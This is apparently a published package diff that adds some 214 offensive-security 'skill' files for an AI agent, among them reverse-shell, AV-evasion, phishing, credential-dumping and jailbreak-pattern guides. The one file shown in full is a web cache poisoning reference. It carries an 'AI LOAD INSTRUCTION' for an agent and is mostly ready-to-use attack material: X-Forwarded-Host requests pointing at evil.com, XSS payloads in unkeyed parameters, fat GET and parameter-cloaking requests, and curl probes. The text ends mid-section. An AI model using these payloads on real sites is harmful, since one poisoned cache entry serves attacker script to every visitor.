ineedcodes 1.6.0 → 1.7.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (218) hide show
  1. package/package.json +2 -1
  2. package/skills/401-403-bypass-techniques/SKILL.md +348 -0
  3. package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
  4. package/skills/active-directory-acl-abuse/SKILL.md +295 -0
  5. package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
  6. package/skills/active-directory-certificate-services/SKILL.md +303 -0
  7. package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
  8. package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
  9. package/skills/ai-ml-security/SKILL.md +425 -0
  10. package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
  11. package/skills/android-pentesting-tricks/SKILL.md +369 -0
  12. package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
  13. package/skills/anti-debugging-techniques/SKILL.md +407 -0
  14. package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
  15. package/skills/api-authorization-and-bola/SKILL.md +48 -0
  16. package/skills/api-recon-and-docs/SKILL.md +61 -0
  17. package/skills/api-sec/SKILL.md +49 -0
  18. package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
  19. package/skills/auth-sec/SKILL.md +41 -0
  20. package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
  21. package/skills/bba-ad-attacker/SKILL.md +420 -0
  22. package/skills/bba-api-security/SKILL.md +95 -0
  23. package/skills/bba-attack-planner/SKILL.md +186 -0
  24. package/skills/bba-binary-exploit/SKILL.md +65 -0
  25. package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
  26. package/skills/bba-bug-bounty/SKILL.md +245 -0
  27. package/skills/bba-cicd-redteam/SKILL.md +515 -0
  28. package/skills/bba-cloud-security/SKILL.md +97 -0
  29. package/skills/bba-container-escape/SKILL.md +161 -0
  30. package/skills/bba-credential-tester/SKILL.md +346 -0
  31. package/skills/bba-crypto-analyst/SKILL.md +54 -0
  32. package/skills/bba-ctf-solver/SKILL.md +166 -0
  33. package/skills/bba-detection-engineer/SKILL.md +93 -0
  34. package/skills/bba-engagement-planner/SKILL.md +68 -0
  35. package/skills/bba-exploit-chainer/SKILL.md +280 -0
  36. package/skills/bba-exploit-guide/SKILL.md +96 -0
  37. package/skills/bba-forensics-analyst/SKILL.md +512 -0
  38. package/skills/bba-graphql-hunter/SKILL.md +145 -0
  39. package/skills/bba-hardware-hacker/SKILL.md +57 -0
  40. package/skills/bba-jwt-cracker/SKILL.md +133 -0
  41. package/skills/bba-llm-redteam/SKILL.md +149 -0
  42. package/skills/bba-malware-analyst/SKILL.md +305 -0
  43. package/skills/bba-mobile-pentester/SKILL.md +350 -0
  44. package/skills/bba-osint-collector/SKILL.md +645 -0
  45. package/skills/bba-payload-crafter/SKILL.md +347 -0
  46. package/skills/bba-phishing-operator/SKILL.md +516 -0
  47. package/skills/bba-poc-validator/SKILL.md +249 -0
  48. package/skills/bba-privesc-advisor/SKILL.md +98 -0
  49. package/skills/bba-purple-team/SKILL.md +56 -0
  50. package/skills/bba-recon-advisor/SKILL.md +215 -0
  51. package/skills/bba-red-team-operator/SKILL.md +61 -0
  52. package/skills/bba-report-generator/SKILL.md +145 -0
  53. package/skills/bba-reverse-engineer/SKILL.md +298 -0
  54. package/skills/bba-social-engineer/SKILL.md +341 -0
  55. package/skills/bba-ssrf-hunter/SKILL.md +120 -0
  56. package/skills/bba-stig-analyst/SKILL.md +108 -0
  57. package/skills/bba-subdomain-takeover/SKILL.md +141 -0
  58. package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
  59. package/skills/bba-threat-modeler/SKILL.md +574 -0
  60. package/skills/bba-vuln-scanner/SKILL.md +305 -0
  61. package/skills/bba-web-hunter/SKILL.md +285 -0
  62. package/skills/bba-wireless-pentester/SKILL.md +539 -0
  63. package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
  64. package/skills/binary-protection-bypass/SKILL.md +295 -0
  65. package/skills/browser-exploitation-v8/SKILL.md +334 -0
  66. package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
  67. package/skills/business-logic-vuln/SKILL.md +33 -0
  68. package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
  69. package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
  70. package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
  71. package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
  72. package/skills/classical-cipher-analysis/SKILL.md +663 -0
  73. package/skills/clickjacking/SKILL.md +163 -0
  74. package/skills/cmdi-command-injection/SKILL.md +687 -0
  75. package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
  76. package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
  77. package/skills/container-escape-techniques/SKILL.md +339 -0
  78. package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
  79. package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
  80. package/skills/crlf-injection/SKILL.md +179 -0
  81. package/skills/csp-bypass-advanced/SKILL.md +259 -0
  82. package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
  83. package/skills/csv-formula-injection/SKILL.md +144 -0
  84. package/skills/dangling-markup-injection/SKILL.md +321 -0
  85. package/skills/defi-attack-patterns/SKILL.md +355 -0
  86. package/skills/dependency-confusion/SKILL.md +178 -0
  87. package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
  88. package/skills/deserialization-insecure/SKILL.md +725 -0
  89. package/skills/dns-rebinding-attacks/SKILL.md +337 -0
  90. package/skills/email-header-injection/SKILL.md +349 -0
  91. package/skills/expression-language-injection/SKILL.md +243 -0
  92. package/skills/file-access-vuln/SKILL.md +33 -0
  93. package/skills/format-string-exploitation/SKILL.md +312 -0
  94. package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
  95. package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
  96. package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
  97. package/skills/hack/SKILL.md +162 -0
  98. package/skills/hash-attack-techniques/SKILL.md +491 -0
  99. package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
  100. package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
  101. package/skills/heap-exploitation/SKILL.md +217 -0
  102. package/skills/http-host-header-attacks/SKILL.md +323 -0
  103. package/skills/http-parameter-pollution/SKILL.md +208 -0
  104. package/skills/http2-specific-attacks/SKILL.md +350 -0
  105. package/skills/idor-broken-object-authorization/SKILL.md +336 -0
  106. package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
  107. package/skills/injection-checking/SKILL.md +50 -0
  108. package/skills/insecure-source-code-management/SKILL.md +161 -0
  109. package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
  110. package/skills/ios-pentesting-tricks/SKILL.md +418 -0
  111. package/skills/jndi-injection/SKILL.md +265 -0
  112. package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
  113. package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
  114. package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
  115. package/skills/kernel-exploitation/SKILL.md +307 -0
  116. package/skills/kubernetes-pentesting/SKILL.md +348 -0
  117. package/skills/lattice-crypto-attacks/SKILL.md +497 -0
  118. package/skills/linux-lateral-movement/SKILL.md +348 -0
  119. package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
  120. package/skills/linux-privilege-escalation/SKILL.md +346 -0
  121. package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
  122. package/skills/linux-security-bypass/SKILL.md +345 -0
  123. package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
  124. package/skills/llm-prompt-injection/SKILL.md +357 -0
  125. package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
  126. package/skills/macos-process-injection/SKILL.md +384 -0
  127. package/skills/macos-security-bypass/SKILL.md +337 -0
  128. package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
  129. package/skills/memory-forensics-volatility/SKILL.md +323 -0
  130. package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
  131. package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
  132. package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
  133. package/skills/network-protocol-attacks/SKILL.md +330 -0
  134. package/skills/nosql-injection/SKILL.md +341 -0
  135. package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
  136. package/skills/ntlm-relay-coercion/SKILL.md +267 -0
  137. package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
  138. package/skills/open-redirect/SKILL.md +380 -0
  139. package/skills/path-traversal-lfi/SKILL.md +802 -0
  140. package/skills/prototype-pollution/SKILL.md +190 -0
  141. package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
  142. package/skills/prototype-pollution-advanced/SKILL.md +338 -0
  143. package/skills/race-condition/SKILL.md +526 -0
  144. package/skills/recon-and-methodology/SKILL.md +389 -0
  145. package/skills/recon-for-sec/SKILL.md +29 -0
  146. package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
  147. package/skills/request-smuggling/SKILL.md +314 -0
  148. package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
  149. package/skills/reverse-shell-techniques/SKILL.md +290 -0
  150. package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
  151. package/skills/rsa-attack-techniques/SKILL.md +437 -0
  152. package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
  153. package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
  154. package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
  155. package/skills/sandbox-escape-techniques/SKILL.md +250 -0
  156. package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
  157. package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
  158. package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
  159. package/skills/sqli-sql-injection/SKILL.md +489 -0
  160. package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
  161. package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
  162. package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
  163. package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
  164. package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
  165. package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
  166. package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
  167. package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
  168. package/skills/stack-overflow-and-rop/SKILL.md +304 -0
  169. package/skills/steganography-techniques/SKILL.md +348 -0
  170. package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
  171. package/skills/subdomain-takeover/SKILL.md +247 -0
  172. package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
  173. package/skills/symbolic-execution-tools/SKILL.md +419 -0
  174. package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
  175. package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
  176. package/skills/traffic-analysis-pcap/SKILL.md +341 -0
  177. package/skills/tunneling-and-pivoting/SKILL.md +343 -0
  178. package/skills/type-juggling/SKILL.md +291 -0
  179. package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
  180. package/skills/unauthorized-access-common-services/SKILL.md +388 -0
  181. package/skills/upload-insecure-files/SCENARIOS.md +158 -0
  182. package/skills/upload-insecure-files/SKILL.md +543 -0
  183. package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
  184. package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
  185. package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
  186. package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
  187. package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
  188. package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
  189. package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
  190. package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
  191. package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
  192. package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
  193. package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
  194. package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
  195. package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
  196. package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
  197. package/skills/waf-bypass-techniques/SKILL.md +290 -0
  198. package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
  199. package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
  200. package/skills/web-cache-deception/SKILL.md +222 -0
  201. package/skills/websocket-security/SKILL.md +454 -0
  202. package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
  203. package/skills/windows-av-evasion/SKILL.md +342 -0
  204. package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
  205. package/skills/windows-lateral-movement/SKILL.md +335 -0
  206. package/skills/windows-privilege-escalation/SKILL.md +328 -0
  207. package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
  208. package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
  209. package/skills/xslt-injection/SKILL.md +281 -0
  210. package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
  211. package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
  212. package/skills/xss-cross-site-scripting/SKILL.md +379 -0
  213. package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
  214. package/skills/xxe-xml-external-entity/SKILL.md +554 -0
  215. package/src/agent.js +1 -1
  216. package/src/session.js +47 -11
  217. package/src/skills.js +30 -6
  218. package/src/ui.js +1 -1
@@ -0,0 +1,637 @@
1
+ # Web Cache Poisoning Techniques — Advanced Reference
2
+
3
+ > **AI LOAD INSTRUCTION**: Load this when you need clear cache poisoning vs deception distinction, unkeyed header/parameter poisoning techniques, Fat GET cache poisoning, parameter cloaking, CDN-specific behavior, or Vary header attacks. Assumes the main [SKILL.md](./SKILL.md) is already loaded for cache deception fundamentals.
4
+
5
+ ---
6
+
7
+ ## 1. WEB CACHE POISONING vs WEB CACHE DECEPTION
8
+
9
+ These are **distinct attack classes** — do not confuse them.
10
+
11
+ | Aspect | Cache Poisoning | Cache Deception |
12
+ |---|---|---|
13
+ | **Goal** | Serve **malicious content** to all users | Steal **victim's authenticated data** |
14
+ | **Who triggers** | Attacker sends poisoning request | Victim visits crafted URL |
15
+ | **What gets cached** | Attacker-controlled response (XSS, redirect) | Victim's authenticated response |
16
+ | **Who is harmed** | All users who hit the cache | The specific victim whose data is cached |
17
+ | **Attacker's role** | Active (sends request with unkeyed poison) | Passive (waits for victim, then reads cache) |
18
+ | **Key technique** | Unkeyed input manipulation | Path confusion / extension appending |
19
+ | **Detection signal** | Response contains unexpected injected content | Authenticated content accessible without auth |
20
+
21
+ ### Attack Flow Comparison
22
+
23
+ ```
24
+ CACHE POISONING:
25
+ Attacker → sends request with X-Forwarded-Host: evil.com
26
+ → Cache stores response with evil.com references
27
+ → Normal users get poisoned response
28
+
29
+ CACHE DECEPTION:
30
+ Attacker → tricks victim into visiting /profile/x.css
31
+ → Server returns victim's profile data (ignores x.css)
32
+ → Cache stores response (thinks it's static CSS)
33
+ → Attacker fetches /profile/x.css → reads victim's data
34
+ ```
35
+
36
+ ---
37
+
38
+ ## 2. UNKEYED HEADER POISONING
39
+
40
+ ### 2.1 Cache Key Basics
41
+
42
+ The **cache key** is what the cache uses to determine if a stored response matches a request. Typically includes:
43
+ - HTTP method
44
+ - Host header
45
+ - URL path
46
+ - Query string (sometimes)
47
+
48
+ **NOT typically included** (= unkeyed):
49
+ - Most request headers
50
+ - Cookies (sometimes)
51
+ - Request body (for GET)
52
+
53
+ If an unkeyed input is **reflected** in the response, it can be poisoned.
54
+
55
+ ### 2.2 X-Forwarded-Host Poisoning
56
+
57
+ The most common cache poisoning vector.
58
+
59
+ ```http
60
+ GET / HTTP/1.1
61
+ Host: target.com
62
+ X-Forwarded-Host: evil.com
63
+
64
+ HTTP/1.1 200 OK
65
+ ...
66
+ <script src="https://evil.com/static/app.js"></script>
67
+ ```
68
+
69
+ If `X-Forwarded-Host` is not in the cache key but is reflected in the response → poison stores `evil.com` JavaScript for all users requesting `/`.
70
+
71
+ **Common reflection points**:
72
+ - `<script src="...">` and `<link href="...">`
73
+ - Open Graph meta tags: `<meta property="og:url" content="...">`
74
+ - Canonical links: `<link rel="canonical" href="...">`
75
+ - Resource prefetch: `<link rel="dns-prefetch" href="...">`
76
+ - Dynamic import maps
77
+
78
+ ### 2.3 X-Forwarded-Scheme / X-Forwarded-Proto
79
+
80
+ Forces HTTPS → HTTP downgrade in cached response:
81
+
82
+ ```http
83
+ GET / HTTP/1.1
84
+ Host: target.com
85
+ X-Forwarded-Scheme: http
86
+
87
+ HTTP/1.1 301 Moved
88
+ Location: http://target.com/ ← now HTTP, not HTTPS
89
+ ```
90
+
91
+ Cache stores a redirect to HTTP → MITM opportunity for all cached users.
92
+
93
+ ### 2.4 X-Original-URL / X-Rewrite-URL
94
+
95
+ Some frameworks (IIS/ASP.NET, Symfony) use these headers to override the request path:
96
+
97
+ ```http
98
+ GET / HTTP/1.1
99
+ Host: target.com
100
+ X-Original-URL: /admin/delete-user?id=1
101
+
102
+ Cache key = GET /
103
+ But server processes /admin/delete-user?id=1
104
+ Response gets cached under /
105
+ ```
106
+
107
+ ### 2.5 Multiple Host Headers
108
+
109
+ ```http
110
+ GET / HTTP/1.1
111
+ Host: target.com
112
+ Host: evil.com
113
+
114
+ # Some caches key on first Host, some apps use last Host
115
+ # If cache keys on target.com but app reflects evil.com → poisoned
116
+ ```
117
+
118
+ ### 2.6 X-Forwarded-Port
119
+
120
+ ```http
121
+ GET / HTTP/1.1
122
+ Host: target.com
123
+ X-Forwarded-Port: 1337
124
+
125
+ # If port is reflected in absolute URLs:
126
+ # <a href="https://target.com:1337/path">
127
+ # May cause resource loading failures → DoS via cache poisoning
128
+ ```
129
+
130
+ ### 2.7 Discovery Methodology
131
+
132
+ ```bash
133
+ # Step 1: Identify cache (check response headers)
134
+ curl -v https://target.com/ 2>&1 | grep -i "x-cache\|age\|via\|cf-cache"
135
+
136
+ # Step 2: Find reflected unkeyed headers
137
+ # Send request with unique header values:
138
+ curl -H "X-Forwarded-Host: canary123.com" https://target.com/ | grep "canary123"
139
+ curl -H "X-Forwarded-Scheme: canary" https://target.com/ | grep "canary"
140
+ curl -H "X-Original-URL: /canary" https://target.com/ | grep "canary"
141
+
142
+ # Step 3: Verify it's unkeyed
143
+ # Send normal request → check if canary value is in cached response:
144
+ curl https://target.com/ | grep "canary123"
145
+ # If found → successfully poisoned
146
+
147
+ # Tool: Param Miner (Burp extension) automates unkeyed header discovery
148
+ ```
149
+
150
+ ---
151
+
152
+ ## 3. UNKEYED PARAMETER POISONING
153
+
154
+ ### 3.1 Concept
155
+
156
+ Some query parameters are excluded from the cache key (for tracking, analytics, etc.) but are reflected in the response.
157
+
158
+ ### 3.2 Common Unkeyed Parameters
159
+
160
+ ```
161
+ utm_content utm_source utm_medium utm_campaign
162
+ utm_term fbclid gclid _ga
163
+ dclid msclkid mc_eid ref
164
+ callback jsonp _ cb
165
+ ```
166
+
167
+ ### 3.3 Example Attack
168
+
169
+ ```http
170
+ GET /page?utm_content="><script>alert(1)</script> HTTP/1.1
171
+ Host: target.com
172
+
173
+ HTTP/1.1 200 OK
174
+ ...
175
+ <a href="/page?utm_content="><script>alert(1)</script>">Share</a>
176
+ ```
177
+
178
+ Cache key: `GET /page` (utm_content excluded)
179
+ Response: contains XSS payload
180
+ Result: all users visiting `/page` get XSS.
181
+
182
+ ### 3.4 Parameter Discovery
183
+
184
+ ```bash
185
+ # Burp Param Miner: "Guess query parameters" scan
186
+
187
+ # Manual: append unique parameter and check if cache key changes
188
+ curl "https://target.com/page?cachebuster=abc123" -v
189
+ # → X-Cache: MISS (new cache entry? or same as /page?)
190
+
191
+ curl "https://target.com/page" -v
192
+ # → X-Cache: HIT and response matches previous? Then /page is the key (query excluded)
193
+ # → X-Cache: MISS? Then query IS in the key
194
+ ```
195
+
196
+ ### 3.5 Reflected Parameter in JavaScript
197
+
198
+ ```http
199
+ GET /page?callback=alert HTTP/1.1
200
+
201
+ HTTP/1.1 200 OK
202
+ <script>
203
+ var config = {
204
+ callback: "alert", // reflected from query parameter
205
+ ...
206
+ };
207
+ </script>
208
+ ```
209
+
210
+ If `callback` is excluded from cache key but reflected in JavaScript:
211
+
212
+ ```http
213
+ GET /page?callback=alert(document.cookie)// HTTP/1.1
214
+ ```
215
+
216
+ Cached for all users requesting `/page`.
217
+
218
+ ---
219
+
220
+ ## 4. FAT GET CACHE POISONING
221
+
222
+ ### 4.1 Concept
223
+
224
+ Some origins accept and process GET request **body** (despite RFC discouraging it). If the cache ignores the body (not in cache key) but the origin reflects body content, the response can be poisoned.
225
+
226
+ ### 4.2 Example
227
+
228
+ ```http
229
+ GET /api/config HTTP/1.1
230
+ Host: target.com
231
+ Content-Type: application/x-www-form-urlencoded
232
+
233
+ callback=alert(1)
234
+
235
+ HTTP/1.1 200 OK
236
+ Content-Type: application/javascript
237
+ Cache-Control: public, max-age=3600
238
+
239
+ alert(1)({"theme":"default","lang":"en"})
240
+ ```
241
+
242
+ Cache key: `GET /api/config` (body not included)
243
+ Response: contains attacker's callback value
244
+ Result: all users get `alert(1)` when loading `/api/config`.
245
+
246
+ ### 4.3 Detection
247
+
248
+ ```bash
249
+ # Step 1: Check if origin processes GET body
250
+ curl -X GET https://target.com/api/endpoint \
251
+ -H "Content-Type: application/x-www-form-urlencoded" \
252
+ -d "param=canary_value"
253
+ # Check if canary_value appears in response
254
+
255
+ # Step 2: Check if response is cached
256
+ curl https://target.com/api/endpoint
257
+ # Check X-Cache header and whether canary_value persists
258
+
259
+ # If canary in cached response → Fat GET poisoning confirmed
260
+ ```
261
+
262
+ ### 4.4 Frameworks That Process GET Body
263
+
264
+ | Framework | GET Body Processing |
265
+ |---|---|
266
+ | Ruby on Rails | Yes (parsed by default) |
267
+ | Express.js | Depends on middleware (body-parser) |
268
+ | Django | Yes (request.POST populated for GET with body) |
269
+ | Flask | Yes (request.form available) |
270
+ | ASP.NET | Depends on model binding configuration |
271
+ | Spring | Depends on `@RequestBody` annotation |
272
+
273
+ ---
274
+
275
+ ## 5. PARAMETER CLOAKING
276
+
277
+ ### 5.1 Semicolon as Parameter Separator
278
+
279
+ Some platforms treat `;` as a parameter separator, others don't:
280
+
281
+ ```http
282
+ GET /page?legit=value;poison=xss HTTP/1.1
283
+
284
+ # Ruby on Rails: parses as two params: legit=value, poison=xss
285
+ # PHP: parses as one param: legit=value;poison=xss
286
+ # Cache (Varnish): may key on "legit=value;poison=xss" as opaque string
287
+ ```
288
+
289
+ **Exploit**: if cache keys on full query string but back-end parses `;` as separator:
290
+
291
+ ```http
292
+ GET /page?legit=value;callback=alert(1) HTTP/1.1
293
+
294
+ # Cache key: /page?legit=value;callback=alert(1)
295
+ # Origin parses: legit=value AND callback=alert(1)
296
+ # Response reflects: alert(1) in callback
297
+ # Next request to /page?legit=value;callback=alert(1) gets poisoned response
298
+ ```
299
+
300
+ ### 5.2 Different Delimiter Parsing
301
+
302
+ | Platform | `;` Behavior | `&` Behavior |
303
+ |---|---|---|
304
+ | PHP | Literal (part of value) | Parameter separator |
305
+ | Ruby on Rails | Parameter separator | Parameter separator |
306
+ | Java (Servlet) | Parameter separator (`;` in path = path parameter) | Parameter separator |
307
+ | ASP.NET | Depends on configuration | Parameter separator |
308
+ | Node.js (querystring) | Literal | Parameter separator |
309
+ | Python (urllib) | Can be configured as separator | Parameter separator |
310
+
311
+ ### 5.3 Duplicate Parameters
312
+
313
+ ```http
314
+ GET /page?param=safe&param=<script>alert(1)</script> HTTP/1.1
315
+
316
+ # Cache may key on first occurrence: param=safe
317
+ # Origin may use last occurrence: param=<script>alert(1)</script>
318
+ ```
319
+
320
+ | Platform | Duplicate Parameter Behavior |
321
+ |---|---|
322
+ | PHP | Last value wins |
323
+ | ASP.NET | Comma-joined (both values) |
324
+ | Ruby on Rails | Last value wins |
325
+ | Python Flask | First value wins |
326
+ | Java Servlet | First value wins (`getParameter`), all values (`getParameterValues`) |
327
+ | Node.js Express | Array of all values |
328
+
329
+ ### 5.4 URL Path Parameter Cloaking
330
+
331
+ ```http
332
+ # Semicolons in URL path (Java servlet path parameters):
333
+ GET /page;jsessionid=abc;param=value HTTP/1.1
334
+
335
+ # Tomcat/Jetty: strips ;param=value from path
336
+ # Cache: may include full path in key or strip differently
337
+ ```
338
+
339
+ ---
340
+
341
+ ## 6. CDN-SPECIFIC BEHAVIOR
342
+
343
+ ### 6.1 Cloudflare
344
+
345
+ ```
346
+ # Cache status header: cf-cache-status
347
+ # Values: HIT, MISS, EXPIRED, DYNAMIC, BYPASS
348
+
349
+ # Default caching: by file extension (.js, .css, .png, etc.)
350
+ # Query strings: included in cache key by default
351
+ # Headers in key: Host only
352
+
353
+ # Page Rules: can force cache of HTML / API responses
354
+ # Cache-Control respected: yes
355
+
356
+ # Bypass methods:
357
+ # - Set Cache-Control: no-cache on origin
358
+ # - Use __cf_chl_jschl_tk__ (Cloudflare challenge token) — not in key
359
+
360
+ # Interesting behaviors:
361
+ # - Cloudflare Workers can modify cache key
362
+ # - cf-connecting-ip header added (unkeyed, may be reflected)
363
+ # - True-Client-IP header (unkeyed on some plans)
364
+ ```
365
+
366
+ ### 6.2 AWS CloudFront
367
+
368
+ ```
369
+ # Cache status header: x-cache (Hit from cloudfront / Miss from cloudfront)
370
+ # Also: x-amz-cf-id, x-amz-cf-pop
371
+
372
+ # Default cache key: Host + URI path + query string
373
+ # Query strings: can be configured (all, none, whitelist)
374
+ # Headers in key: configurable via Cache Policy (Host, Accept, etc.)
375
+ # Cookies in key: configurable (all, none, whitelist)
376
+
377
+ # Gotchas:
378
+ # - Default: query strings NOT in cache key (must configure)
379
+ # - Default: cookies NOT in cache key
380
+ # - Can whitelist specific headers/cookies into key
381
+
382
+ # Poisoning opportunity:
383
+ # If query strings excluded → append reflected param → poison
384
+ # If X-Forwarded-Host not in key but reflected → classic poisoning
385
+ ```
386
+
387
+ ### 6.3 Akamai
388
+
389
+ ```
390
+ # Cache status header: X-Cache (TCP_HIT, TCP_MISS)
391
+ # Also: X-Akamai-Request-ID
392
+
393
+ # Cache key (default): Host + path + query (configurable)
394
+ # "Cache ID Modification" feature: custom key composition
395
+ # "Remove Vary Header" feature: strips Vary
396
+
397
+ # Interesting behaviors:
398
+ # - Pragma: akamai-x-cache-on (enable cache debug)
399
+ # - Pragma: akamai-x-get-cache-key (reveal cache key)
400
+ # - Akamai-Transform header (can affect response)
401
+ # - True-Client-IP (unkeyed, may be reflected)
402
+
403
+ # Revealing cache key (if debug enabled):
404
+ curl -H "Pragma: akamai-x-get-cache-key" https://target.com/ -v
405
+ ```
406
+
407
+ ### 6.4 Varnish
408
+
409
+ ```
410
+ # Cache status header: X-Varnish (two IDs = HIT, one ID = MISS)
411
+ # Also: Age, Via (varnish)
412
+
413
+ # Default cache key: req.url (path + query)
414
+ # VCL customization: hash_data() in vcl_hash
415
+ # Default: does NOT cache requests with Cookie header
416
+
417
+ # Interesting behaviors:
418
+ # - obj.hits indicates number of cache hits
419
+ # - X-Varnish-Cache header (custom)
420
+ # - Builtin: strips If-Modified-Since on cache hit
421
+
422
+ # VCL key inspection:
423
+ # If you have access to VCL config, look at vcl_hash for key composition
424
+ # sub vcl_hash {
425
+ # hash_data(req.url);
426
+ # hash_data(req.http.host);
427
+ # }
428
+ ```
429
+
430
+ ### 6.5 Fastly
431
+
432
+ ```
433
+ # Cache status header: X-Cache (HIT, MISS)
434
+ # Also: X-Served-By, X-Cache-Hits, X-Timer
435
+
436
+ # Fastly uses Varnish under the hood
437
+ # VCL-based configuration
438
+ # Default cache key: URL + Host
439
+ # Surrogate-Control header: overrides Cache-Control for CDN
440
+ # Fastly-Debug: 1 (if enabled → reveals cache details)
441
+
442
+ # Interesting behaviors:
443
+ # - Surrogate-Key header for purge targeting
444
+ # - stale-while-revalidate support
445
+ # - ESI (Edge Side Includes) support — can be attack vector
446
+ ```
447
+
448
+ ### 6.6 CDN Cache Key Comparison
449
+
450
+ | CDN | Default Cache Key Components | Query String Default | Cookie Default |
451
+ |---|---|---|---|
452
+ | Cloudflare | Host + path + query | Included | Excluded |
453
+ | CloudFront | Host + path (query configurable) | Excluded by default | Excluded |
454
+ | Akamai | Host + path + query | Included | Excluded |
455
+ | Varnish | URL (path + query) | Included | Excluded (no cache with Cookie) |
456
+ | Fastly | Host + URL | Included | Excluded |
457
+ | Nginx (proxy_cache) | `$scheme$proxy_host$request_uri` | Included | Excluded |
458
+
459
+ ---
460
+
461
+ ## 7. VARY HEADER MANIPULATION
462
+
463
+ ### 7.1 How Vary Works
464
+
465
